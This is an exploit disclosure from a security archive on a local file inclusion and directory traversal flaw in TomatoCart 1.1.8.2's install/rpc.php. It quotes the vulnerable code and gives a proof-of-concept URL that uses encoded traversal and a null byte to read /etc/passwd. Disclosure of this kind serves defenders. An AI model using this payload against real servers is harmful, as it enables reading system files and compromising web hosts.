what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

TomatoCart 1.1.8.2 LFI / Directory Traversal

TomatoCart 1.1.8.2 LFI / Directory Traversal
Posted Nov 18, 2013
Authored by Esac

TomatoCart version 1.1.8.2 suffers from local file inclusion and directory traversal vulnerabilities.

tags | exploit, local, vulnerability, file inclusion
SHA-256 | 80edf86022b40bc33df2e29333ac72332b23148388612cd80bcc1bac5cb7b036

TomatoCart 1.1.8.2 LFI / Directory Traversal

Change Mirror Download
###########################################################################################
#Exploit Title: TomatoCart 1.1.8.2 - LFI / Directory Traversal Vulnerability
#Product: TomatoCart
#Official site: http://www.tomatocart.com/
#Demo : http://demo.tomatocart.com/
#Risk Level: High
#Exploit Author: Esac
#Last Checked: 18/11/2013
###########################################################################################


+----------+
| OVERVIEW |
+----------+

TomatoCart is open source ecommerce solution developed and maintained by a number of 64,000+ users from 50+ countries and regions. It's distributed under the terms of the GNU General Public License (or "GPL"), free to download and share. The community, including project founders and other developers, are supposed to work together on the platform of TomatoCart, contributing features, technical support and services.
unfortunatly , Tomatocart suffer from critical vuln that allow attackers step out of the root directory and access files in other directories. As a result, attackers might view restricted files or execute commands, leading to a full compromise of the Web server

+-----------------------------------------------------------------------------------+


+-------------------------------------+
| LFI / Directory Traversal Vuln |
+-------------------------------------+


Affected file : install/rpc.php


.......................................................



if (isset($_GET['action']) && !empty($_GET['action'])) {
switch ($_GET['action']) {
case 'dbCheck':
$db = array('DB_SERVER' => trim(urldecode($_GET['server'])),
'DB_SERVER_USERNAME' => trim(urldecode($_GET['username'])),
'DB_SERVER_PASSWORD' => trim(urldecode($_GET['password'])),
'DB_DATABASE' => trim(urldecode($_GET['name'])),
'DB_DATABASE_CLASS' => trim(urldecode($_GET['class']))
);

$osC_Database = osC_Database::connect($db['DB_SERVER'], $db['DB_SERVER_USERNAME'], $db['DB_SERVER_PASSWORD'], $db['DB_DATABASE_CLASS']);

if ($osC_Database->isError() === false) {
$osC_Database->selectDatabase($db['DB_DATABASE']);
}

if ($osC_Database->isError()) {
echo '[[0|' . $osC_Database->getError() . ']]';
} else {
echo '[[1]]';
}

exit;
break;


.........................................................

+------------------+
| PROOF OF CONCEPT |
+------------------+

http://demo.tomatocart.com//install/rpc.php?action=dbCheck&class=..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%2500.jpg

+--------------------------------------------------------------+

Knowledge is not an object , it's a flaw :)
Email : esacp4r@gmail.com & s3cpr0@hotmail.com
Greetz : White Tarbouch TEAM - Cobra
www.Iss4m.ma && www.eternalsec.com/cc
./Issam IEBOUBEN Aka Esac



Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close